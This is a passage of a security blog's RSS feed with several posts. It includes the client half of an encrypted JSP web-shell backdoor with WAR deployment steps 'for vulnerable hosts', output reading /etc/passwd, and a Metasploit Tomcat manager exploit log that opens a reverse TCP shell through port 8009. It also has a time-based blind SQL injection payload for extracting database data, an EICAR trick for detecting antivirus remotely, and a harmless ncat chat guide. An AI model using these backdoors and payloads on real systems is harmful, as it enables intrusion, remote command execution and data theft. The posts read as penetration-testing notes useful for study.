 byte[] iv = params.getParameterSpec(IvParameterSpec.class).getIV();
 System.out.println(&quot;pcmd:&quot; + args[1]);
 byte[] ciphertext = cipher.doFinal(args[1].getBytes());
 System.out.println(&quot;iv:&quot; + Main.asHex(iv));
 System.out.println(&quot;ecmd:&quot; + Main.asHex(ciphertext));

 u = new URL(args[0] + &quot;?t=&quot; + Main.asHex(ciphertext) + &quot;&amp;i=&quot; + Main.asHex(iv));
 System.out.println(&quot;url:&quot;+u);
 is = u.openStream();
 dis = new DataInputStream(new BufferedInputStream(is));
 while ((s = dis.readLine()) != null) {
 System.out.println(s);
 }

 }catch(Exception e){
 System.out.println(e);
 }
 }

}
</pre></p>
<p>To use the JSP you need to package it inside a WAR file before you can deploy it on a tomcat or jboss for example. Just create the following directory structure(assuming you put the shell inside &#8220;index.jsp&#8221;):</p>
<blockquote><p>. js (you can choose another name)<br />
.. index.jsp<br />
.. WEB-INF<br />
&#8230; web.xml</p></blockquote>
<p>Then just put the following bash code in a file and chmod +x it:</p>
<blockquote><p>#!/bin/bash<br />
rm js.war<br />
jar cvf js.war -C js .</p></blockquote>
<p>That should create a js.war, in the same directory, that you can use to upload to vulnerable hosts. If you are paying attention you&#8217;ll be like &#8220;What goes inside the web.xml?&#8221;, put the following inside it:</p>
<blockquote><p>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;ISO-8859-1&#8243;?&gt;<br />
&lt;web-app&gt;<br />
&lt;/web-app&gt;</p></blockquote>
<p>That&#8217;s all, the war file should deploy correctly and the client should be able to talk to it. If something fails you can always try to talk to it with your browser using unencrypted commands, just append the &#8220;e&#8221; parameter and assign something to it.</p>
<p>The client can be easily compiled, just put the code inside a Main.java file and then go like:</p>
<blockquote><p>javac Main.java</p></blockquote>
<p>You can then use the client like:</p>
<blockquote><p>java Main http://10.0.0.13:8080/js/ &#8220;cat /etc/passwd | grep -i root&#8221;</p></blockquote>
<p>If all works out the output will be similar to this one:</p>
<blockquote><p>java Main http://10.0.0.13:8080/js/ &#8220;cat /etc/passwd | grep -i root&#8221;<br />
pcmd:cat /etc/passwd | grep -i root<br />
iv:cdead18f16660525fcdafd74fef703dc<br />
ecmd:796eaf2f7fb82907533472141051f17ff1f5b08dfe05cc7f6992c92f9d45f931<br />
url:http://10.0.0.13:8080/js/?t=796eaf2f7fb82907533472141051f17ff1f5b08dfe05cc7f6992c92f9d45f931&amp;i=cdead18f16660525fcdafd74fef703dc</p>
<p>Linux<br />
root:x:0:0:root:/root:/bin/bash<br />
ExitValue: 0</p></blockquote>
<p>Don&#8217;t forget to change default passwords, salts, names and to review the code for possible bugs, if you are planning on using this for your own fun. Read the code if something doesn&#8217;t work and improve upon it :)</p>
<br />Filed under: <a href='http://diablohorn.wordpress.com/category/security/'>security</a> Tagged: <a href='http://diablohorn.wordpress.com/tag/aes/'>AES</a>, <a href='http://diablohorn.wordpress.com/tag/backdoor/'>backdoor</a>, <a href='http://diablohorn.wordpress.com/tag/encryption/'>encryption</a>, <a href='http://diablohorn.wordpress.com/tag/jsp/'>JSP</a>, <a href='http://diablohorn.wordpress.com/tag/shell/'>shell</a>, <a href='http://diablohorn.wordpress.com/tag/tomcatjboss/'>tomcat/jboss</a>, <a href='http://diablohorn.wordpress.com/tag/war/'>war</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/diablohorn.wordpress.com/576/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/diablohorn.wordpress.com/576/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/diablohorn.wordpress.com/576/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/diablohorn.wordpress.com/576/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/diablohorn.wordpress.com/576/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/diablohorn.wordpress.com/576/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/diablohorn.wordpress.com/576/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/diablohorn.wordpress.com/576/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/diablohorn.wordpress.com/576/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/diablohorn.wordpress.com/576/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/diablohorn.wordpress.com/576/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/diablohorn.wordpress.com/576/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/diablohorn.wordpress.com/576/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/diablohorn.wordpress.com/576/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=576&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://diablohorn.wordpress.com/2011/12/30/simple-jsp-shell-simple-os-detection-prolly-flawed-encrypted-commands/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">diablohorn</media:title>
		</media:content>
	</item>
		<item>
		<title>Remote AV detection with EICAR</title>
		<link>http://diablohorn.wordpress.com/2011/12/10/remote-av-detection-with-eicar/</link>
		<comments>http://diablohorn.wordpress.com/2011/12/10/remote-av-detection-with-eicar/#comments</comments>
		<pubDate>Sat, 10 Dec 2011 02:39:12 +0000</pubDate>
		<dc:creator>diablohorn</dc:creator>
				<category><![CDATA[midnight thoughts]]></category>
		<category><![CDATA[anti virus]]></category>
		<category><![CDATA[av]]></category>
		<category><![CDATA[detection]]></category>
		<category><![CDATA[eicar]]></category>
		<category><![CDATA[remote]]></category>

		<guid isPermaLink="false">http://diablohorn.wordpress.com/?p=571</guid>
		<description><![CDATA[This is just a little midday-thought I had and well&#8230;it kinda works but not as expected yet. I&#8217;d still like to share it due to it&#8217;s simplicity. The following is all that&#8217;s needed: &#60;img src=&#8221;eicar.png&#8221; onload=&#8221;alert(&#8216;AV NO&#8217;);&#8221; onerror=&#8221;alert(&#8216;AV YES&#8217;);&#8221;&#62; The above should theoretically trigger &#8220;AV NO&#8221; when there is no AV installed and &#8220;AV YES&#8221; [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=571&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This is just a little midday-thought I had and well&#8230;it kinda works but not as expected yet. I&#8217;d still like to share it due to it&#8217;s simplicity. The following is all that&#8217;s needed:</p>
<blockquote><p>&lt;img src=&#8221;eicar.png&#8221; onload=&#8221;alert(&#8216;AV NO&#8217;);&#8221; onerror=&#8221;alert(&#8216;AV YES&#8217;);&#8221;&gt;</p></blockquote>
<p>The above should theoretically trigger &#8220;AV NO&#8221; when there is no AV installed and &#8220;AV YES&#8221; when an antivirus is installed. If you wonder why this should work it&#8217;s because of the so called &#8220;<a title="eicar" href="http://www.eicar.org/86-0-Intended-use.html" target="_blank">eicar string</a>&#8220;(that you of course embed in the fake png image). When an AV encounters this special string it should trigger an alert, the string is mainly used to test if an AV functions as expected without risking an actual infection. So my theory was based upon most AV products actively blocking the file which should result in the fake image not being loaded. However after testing this with IE, Chrome &amp; FireFox it seems that it only works as expected with IE. This test isn&#8217;t very reliable since I&#8217;ve only tested with one AV product, so feel free to test this method with others and maybe it will work with the other browsers.</p>
<p>I&#8217;ve done a quick search around for other detection vectors using the eicar string and only found <a title="mail server av detection with eicar" href="http://jon.oberheide.org/files/umich09-mailav.pdf" target="_blank">one PDF</a> which is pretty interesting since it describes enumerating if mail servers have an AV installed and depending on the configuration the mail servers can even disclose the AV version number.</p>
<p>Conclusion is that the eicar file seems to be a good candidate to detect an AV if you manage to deliver it and probe if it has been blocked. I&#8217;ve done some quick testing with cookies, but unfortunately they get manipulated by the browser thus invalidating the eicar string. If anyone has got some time on their hands maybe it&#8217;s possible to deliver eicar using HTML5 storage or flash or silverlight and detect if it&#8217;s been blocked. If you plan on further researching this to detect an AV remotely please be aware of the following requirements to deliver the eicar string:</p>
<blockquote><p>The first 68 characters is the known string. It may be optionally appended by any combination of whitespace characters with the total file length not exceeding 128 characters. The only whitespace characters allowed are the space character, tab, LF, CR, CTRL-Z.</p></blockquote>
<p>So unfortunately my whole theory didn&#8217;t exactly work 100% as expected but hey that&#8217;s why theories are always put to the test right?</p>
<p>p.s. Don&#8217;t forget you can also apply this the other way around, upload a file with the eicar string to a server and you can probably determine if there is an AV product installed (assuming you are able to remotely check if the file was blocked/deleted). In the logs it will show as EICAR TEST most probably&#8230;thus maybe even fooling the adminstrator to not pay attention to it.</p>
<br />Filed under: <a href='http://diablohorn.wordpress.com/category/midnight-thoughts/'>midnight thoughts</a> Tagged: <a href='http://diablohorn.wordpress.com/tag/anti-virus/'>anti virus</a>, <a href='http://diablohorn.wordpress.com/tag/av/'>av</a>, <a href='http://diablohorn.wordpress.com/tag/detection/'>detection</a>, <a href='http://diablohorn.wordpress.com/tag/eicar/'>eicar</a>, <a href='http://diablohorn.wordpress.com/tag/remote/'>remote</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/diablohorn.wordpress.com/571/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/diablohorn.wordpress.com/571/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/diablohorn.wordpress.com/571/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/diablohorn.wordpress.com/571/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/diablohorn.wordpress.com/571/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/diablohorn.wordpress.com/571/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/diablohorn.wordpress.com/571/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/diablohorn.wordpress.com/571/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/diablohorn.wordpress.com/571/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/diablohorn.wordpress.com/571/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/diablohorn.wordpress.com/571/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/diablohorn.wordpress.com/571/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/diablohorn.wordpress.com/571/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/diablohorn.wordpress.com/571/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=571&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://diablohorn.wordpress.com/2011/12/10/remote-av-detection-with-eicar/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">diablohorn</media:title>
		</media:content>
	</item>
		<item>
		<title>8009, the forgotten Tomcat port</title>
		<link>http://diablohorn.wordpress.com/2011/10/19/8009-the-forgotten-tomcat-port/</link>
		<comments>http://diablohorn.wordpress.com/2011/10/19/8009-the-forgotten-tomcat-port/#comments</comments>
		<pubDate>Wed, 19 Oct 2011 19:41:31 +0000</pubDate>
		<dc:creator>diablohorn</dc:creator>
				<category><![CDATA[general]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[ajp]]></category>
		<category><![CDATA[ajp13]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[proxy]]></category>
		<category><![CDATA[tomcat]]></category>
		<category><![CDATA[war]]></category>

		<guid isPermaLink="false">http://diablohorn.wordpress.com/?p=566</guid>
		<description><![CDATA[We all know about exploiting Tomcat using WAR files. That usually involves accessing the Tomcat manager interface on the Tomcat HTTP(S) port. The fun and forgotten thing is, that you can also access that manager interface on port 8009. This the port that by default handles the AJP (Apache JServ Protocol) protocol: What is JK [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=566&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>We all know about <a title="exploiting tomcat" href="http://blog.metasploit.com/2010/05/introducing-metasploitable.html" target="_blank">exploiting</a> <a title="Tomcat" href="http://tomcat.apache.org/" target="_blank">Tomcat</a> using <a title="WAR file definition" href="http://en.wikipedia.org/wiki/WAR_file_format_(Sun)" target="_blank">WAR</a> files. That usually involves accessing the Tomcat manager interface on the Tomcat HTTP(S) port. The fun and forgotten thing is, that you can also access that manager interface on port 8009. This the port that by default handles the AJP (Apache JServ Protocol) protocol:</p>
<blockquote><p><strong>What is JK (or AJP)?</strong></p>
<p>AJP is a wire protocol. It an optimized version of the HTTP protocol to allow a standalone web server such as <a href="http://httpd.apache.org/">Apache</a> to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea is to let Apache serve the static content when possible, but proxy the request to Tomcat for Tomcat related content.</p></blockquote>
<p>Also interesting:</p>
<blockquote><p>The ajp13 protocol is packet-oriented. A binary format was presumably chosen over the more readable plain text for reasons of performance. The web server communicates with the servlet container over TCP connections. To cut down on the expensive process of socket creation, the web server will attempt to maintain persistent TCP connections to the servlet container, and to reuse a connection for multiple request/response cycles</p></blockquote>
<p>It&#8217;s not often that you encounter port 8009 open and port 8080,8180,8443 or 80 closed but it happens. In which case it would be nice to use existing tools like metasploit to still pwn it right? As stated in one of the quotes you can (ab)use Apache to proxy the requests to Tomcat port 8009. In the references you will find a nice guide on how to do that (read it first), what follows is just an overview of the commands I used on my own machine. I omitted some of the original instruction since they didn&#8217;t seem to be necessary.</p>
<pre>(apache must already be installed)
sudo apt-get install libapach2-mod-jk
sudo vim /etc/apache2/mods-available/jk.conf
	# Where to find workers.properties
	# Update this path to match your conf directory location
	JkWorkersFile /etc/apache2/jk_workers.properties
	# Where to put jk logs
	# Update this path to match your logs directory location
	JkLogFile /var/log/apache2/mod_jk.log
	# Set the jk log level [debug/error/info]
	JkLogLevel info
	# Select the log format
	JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"
	# JkOptions indicate to send SSL KEY SIZE,
	JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories
	# JkRequestLogFormat set the request format
	JkRequestLogFormat "%w %V %T"
	# Shm log file
	JkShmFile /var/log/apache2/jk-runtime-status
sudo ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf
sudo vim /etc/apache2/jk_workers.properties
	# Define 1 real worker named ajp13
	worker.list=ajp13
	# Set properties for worker named ajp13 to use ajp13 protocol,
	# and run on port 8009
	worker.ajp13.type=ajp13
	worker.ajp13.host=localhost
	worker.ajp13.port=8009
	worker.ajp13.lbfactor=50
	worker.ajp13.cachesize=10
	worker.ajp13.cache_timeout=600
	worker.ajp13.socket_keepalive=1
	worker.ajp13.socket_timeout=300
sudo vim /etc/apache2/sites-enabled/000-default
    JkMount /* ajp13
    JkMount /manager/   ajp13
    JkMount /manager/*  ajp13
    JkMount /host-manager/   ajp13
    JkMount /host-manager/*  ajp13
sudo a2enmod proxy_ajp
sudo a2enmod proxy_http
sudo /etc/init.d/apache2 restart</pre>
<p>Don&#8217;t forget to adjust <em>worker.ajp13.host</em> to the correct host. A nice side effect of using this setup is that you might thwart IDS/IPS systems in place since the AJP protocol is somewhat binary, but I haven&#8217;t verified this.  Now you can just point your regular metasploit tomcat exploit to 127.0.0.1:80 and take over that system. Here is the metasploit output also:</p>
<pre>msf  exploit(tomcat_mgr_deploy) &gt; show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  tomcat           no        The password for the specified username
   PATH      /manager         yes       The URI path of the manager app (/deploy and /undeploy will be used)
   Proxies                    no        Use a proxy chain
   RHOST     localhost        yes       The target address
   RPORT     80               yes       The target port
   USERNAME  tomcat           no        The username to authenticate as
   VHOST                      no        HTTP server virtual host

Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.195.156  yes       The listen address
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf  exploit(tomcat_mgr_deploy) &gt; exploit

[*] Started reverse handler on 192.168.195.156:4444
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 1648 bytes as XWouWv7gyqklF.war ...
[*] Executing /XWouWv7gyqklF/TlYqV18SeuKgbYgmHxojQm2n.jsp...
[*] Sending stage (36 bytes) to 192.168.195.155
[*] Undeploying XWouWv7gyqklF ...
[*] Command shell session 1 opened (192.168.195.156:4444 -&gt; 192.168.195.155:39401)

id
uid=115(tomcat6) gid=123(tomcat6) groups=123(tomcat6)</pre>
<p><strong>References</strong></p>
<ul>
<li><a href="http://wiki.apache.org/tomcat/FAQ/Connectors">http://wiki.apache.org/tomcat/FAQ/Connectors</a></li>
<li><a href="http://tomcat.apache.org/connectors-doc-archive/jk2/common/AJPv13.html">http://tomcat.apache.org/connectors-doc-archive/jk2/common/AJPv13.html</a></li>
<li><a href="http://blog.rajeevsharma.in/2010/02/configure-modjk-with-apache-22-in.html" target="_blank">http://blog.rajeevsharma.in/2010/02/configure-modjk-with-apache-22-in.html</a></li>
</ul>
<br />Filed under: <a href='http://diablohorn.wordpress.com/category/general/'>general</a>, <a href='http://diablohorn.wordpress.com/category/security/'>security</a> Tagged: <a href='http://diablohorn.wordpress.com/tag/ajp/'>ajp</a>, <a href='http://diablohorn.wordpress.com/tag/ajp13/'>ajp13</a>, <a href='http://diablohorn.wordpress.com/tag/apache/'>apache</a>, <a href='http://diablohorn.wordpress.com/tag/metasploit/'>metasploit</a>, <a href='http://diablohorn.wordpress.com/tag/proxy/'>proxy</a>, <a href='http://diablohorn.wordpress.com/tag/tomcat/'>tomcat</a>, <a href='http://diablohorn.wordpress.com/tag/war/'>war</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/diablohorn.wordpress.com/566/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/diablohorn.wordpress.com/566/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/diablohorn.wordpress.com/566/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/diablohorn.wordpress.com/566/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/diablohorn.wordpress.com/566/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/diablohorn.wordpress.com/566/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/diablohorn.wordpress.com/566/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/diablohorn.wordpress.com/566/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/diablohorn.wordpress.com/566/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/diablohorn.wordpress.com/566/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/diablohorn.wordpress.com/566/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/diablohorn.wordpress.com/566/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/diablohorn.wordpress.com/566/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/diablohorn.wordpress.com/566/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=566&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://diablohorn.wordpress.com/2011/10/19/8009-the-forgotten-tomcat-port/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">diablohorn</media:title>
		</media:content>
	</item>
		<item>
		<title>Quick &amp; Dirty secure chat; ncat</title>
		<link>http://diablohorn.wordpress.com/2011/07/21/quick-dirty-secure-chat-ncat/</link>
		<comments>http://diablohorn.wordpress.com/2011/07/21/quick-dirty-secure-chat-ncat/#comments</comments>
		<pubDate>Thu, 21 Jul 2011 21:17:55 +0000</pubDate>
		<dc:creator>diablohorn</dc:creator>
				<category><![CDATA[general]]></category>
		<category><![CDATA[chat]]></category>
		<category><![CDATA[ncat]]></category>
		<category><![CDATA[secure]]></category>
		<category><![CDATA[ssl]]></category>

		<guid isPermaLink="false">http://diablohorn.wordpress.com/?p=559</guid>
		<description><![CDATA[Sometimes you just need a quick and dirty &#8220;secure&#8221; chat. Secure meaning it&#8217;s not terribly easy to eavesdrop on the conversation. Well lucky for us nmap comes with ncat. Directly from it&#8217;s website: Ncat is a feature-packed networking utility which reads and writes data across networks from the command line. Ncat was written for the [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=559&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Sometimes you just need a quick and dirty &#8220;secure&#8221; chat. Secure meaning it&#8217;s not terribly easy to eavesdrop on the conversation. Well lucky for us <a title="nmap" href="http://nmap.org" target="_blank">nmap</a> comes with <a title="ncat" href="http://nmap.org/ncat/" target="_blank">ncat</a>. Directly from it&#8217;s website:</p>
<blockquote><p>Ncat is a feature-packed networking utility which reads and writes data across networks from the command line. Ncat was written for the Nmap Project as a much-improved reimplementation of the venerable <a title="netcat" href="http://sectools.org/#netcat" target="_blank">Netcat</a>. It uses both TCP and UDP for communication and is designed to be a reliable back-end tool to instantly provide network connectivity to other applications and users. Ncat will not only work with IPv4 and IPv6 but provides the user with a virtually limitless number of potential uses.</p>
<p>Among Ncat’s vast number of features there is the ability to chain Ncats together, redirect both TCP and UDP ports to other sites, SSL support, and proxy connections via SOCKS4 or HTTP (CONNECT method) proxies (with optional proxy authentication as well). Some general principles apply to most applications and thus give you the capability of instantly adding networking support to software that would normally never support it.</p></blockquote>
<p>Sounds just like what we need. Let&#8217;s get it working:</p>
<p>We generate the needed cert(more openssl tricks here: <a title="openssl tricks" href="http://www.madboa.com/geek/openssl/" target="_blank">openssl tricks</a>):</p>
<blockquote><p>openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout mycert.pem -out mycert.pem</p></blockquote>
<p>We get it&#8217;s fingerprint:</p>
<blockquote><p>openssl x509 -noout -in mycert.pem -fingerprint</p></blockquote>
<p>We set ncat up to be the secure chat server we want it to be:</p>
<blockquote><p>ncat -v -l &#8211;chat &#8211;allow 127.0.0.1,10.0.3.8 &#8211;ssl &#8211;ssl-key mycert.pem &#8211;ssl-cert mycert.pem 1080</p></blockquote>
<p>The process to actually chat is very easy, transfer the fingerprint to your buddies with an out-of-bound channel and have your buddies run ncat like this and then verify the fingerprint before typing any text:</p>
<blockquote><p>ncat -v &#8211;ssl 10.0.3.7 1080</p></blockquote>
<p>You also need to connect to the server yourself or your buddies won&#8217;t be able to see your messages. If you just need an one-on-one chat, remove the &#8211;chat option.</p>
<p>The options are kinda self explanatory, but here is the quick overview:</p>
<blockquote><p>-v = verbose<br />
-l = listen mode<br />
&#8211;chat = chat server mode, multi-user with user prefixes<br />
&#8211;allow = the ip addresses allowed to connect<br />
&#8211;ssl = use ssl<br />
&#8211;ssl-key = needed for ssl<br />
&#8211;ssl-cert = needed for ssl</p></blockquote>
<p>References:</p>
<ul>
<li>ncat chat guide</li>
<ul>
<li><a href="http://nmap.org/ncat/guide/ncat-chat.html">http://nmap.org/ncat/guide/ncat-chat.html</a></li>
</ul>
<li>ncat general guide</li>
<ul>
<li><a href="http://nmap.org/ncat/guide/">http://nmap.org/ncat/guide/</a></li>
</ul>
</ul>
<p><strong>Disclaimer</strong><br />
Do not use this for really sensitive conversations, use this only at your own risk and as always think before using.</p>
<br />Filed under: <a href='http://diablohorn.wordpress.com/category/general/'>general</a> Tagged: <a href='http://diablohorn.wordpress.com/tag/chat/'>chat</a>, <a href='http://diablohorn.wordpress.com/tag/ncat/'>ncat</a>, <a href='http://diablohorn.wordpress.com/tag/secure/'>secure</a>, <a href='http://diablohorn.wordpress.com/tag/ssl/'>ssl</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/diablohorn.wordpress.com/559/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/diablohorn.wordpress.com/559/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/diablohorn.wordpress.com/559/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/diablohorn.wordpress.com/559/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/diablohorn.wordpress.com/559/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/diablohorn.wordpress.com/559/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/diablohorn.wordpress.com/559/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/diablohorn.wordpress.com/559/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/diablohorn.wordpress.com/559/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/diablohorn.wordpress.com/559/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/diablohorn.wordpress.com/559/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/diablohorn.wordpress.com/559/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/diablohorn.wordpress.com/559/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/diablohorn.wordpress.com/559/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=559&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://diablohorn.wordpress.com/2011/07/21/quick-dirty-secure-chat-ncat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">diablohorn</media:title>
		</media:content>
	</item>
		<item>
		<title>Efficient but slow blind sql injection data extraction</title>
		<link>http://diablohorn.wordpress.com/2011/07/08/efficient-but-slow-blind-sql-injection-data-extraction/</link>
		<comments>http://diablohorn.wordpress.com/2011/07/08/efficient-but-slow-blind-sql-injection-data-extraction/#comments</comments>
		<pubDate>Fri, 08 Jul 2011 20:41:08 +0000</pubDate>
		<dc:creator>diablohorn</dc:creator>
				<category><![CDATA[midnight thoughts]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[blind]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sleep]]></category>
		<category><![CDATA[slow]]></category>
		<category><![CDATA[sql]]></category>

		<guid isPermaLink="false">http://diablohorn.wordpress.com/?p=554</guid>
		<description><![CDATA[So here is a quick midnight thought to retrieve data when facing a blind sql injection. It&#8217;s nothing ground breaking on the horizon I just wanted the technique to get some more attention, since I don&#8217;t see it used that often. I&#8217;m using MySQL as an example, but this can be used on any database [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=554&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>So here is a quick midnight thought to retrieve data when facing a blind sql injection. It&#8217;s nothing ground breaking on the horizon I just wanted the technique to get some more attention, since I don&#8217;t see it used that often. I&#8217;m using MySQL as an example, but this can be used on any database which has somewhat of a reliable way to force it to do time related actions. The <strong>downside</strong> is that it&#8217;s pretty unstable if your connection to the target is not reliable and it&#8217;s a slow method like all time based methods. The <strong>upside</strong> however is that you only need one request for one character instead of eight requests and it can be further improved. If you are a whitehat then the amount of requests usually aren&#8217;t that important, if you are a blackhat you might prefer a small footprint in the logs.</p>
<p><pre class="brush: plain;">

sleep(ascii(substr(user(),1,1)))

</pre></p>
<p>The above is the quick and dirty way. You can probably guess it we use sleep() as the transport medium for the character value. The only reference I found to this technique is in <a title="it's all about timing" href="https://www.blackhat.com/presentations/bh-usa-07/Meer_and_Slaviero/Whitepaper/bh-usa-07-meer_and_slaviero-WP.pdf" target="_blank">this paper [PDF]</a> on page 4. Maybe I haven&#8217;t searched long enough and there are better papers out there exploring this method of data extraction.</p>
<p>You do want to speed the above up, since the character &#8216;r&#8217; (if we assume &#8216;root&#8217; as an example username) gives you a waiting time of 114 seconds (1min 54sec). The easiest way is to just substract a constant from it and add the constant up when you have retrieved the value. You can use the following <a title="ascii chart" href="http://www.cdrummond.qc.ca/cegep/informat/Professeurs/Alain/images/ASCII1.GIF" target="_blank">ascii chart</a> to see what a save constant values could be. An example could be:</p>
<p><pre class="brush: plain;">

sleep(ascii(substr(user(),1,1))-32)

</pre></p>
<p>We can further improve this however by involving the human factor. As often said humans are the weakest links in the security field, yet they are the strongest link when it comes down to thinking (artificial intelligence is still trying to catch up). For example the following text has circulated a REALLY long time on the internet (<a title="reading scrambled text" href="http://www.mrc-cbu.cam.ac.uk/people/matt.davis/cmabridge/" target="_blank">original</a>):</p>
<blockquote><p>Aoccdrnig to a rscheearch at Cmabrigde Uinervtisy, it deosn&#8217;t mttaer in waht oredr the ltteers in a wrod are, the olny iprmoetnt tihng is taht the frist and lsat ltteer be at the rghit pclae. The rset can be a toatl mses and you can sitll raed it wouthit porbelm. Tihs is bcuseae the huamn mnid deos not raed ervey lteter by istlef, but the wrod as a wlohe.</p></blockquote>
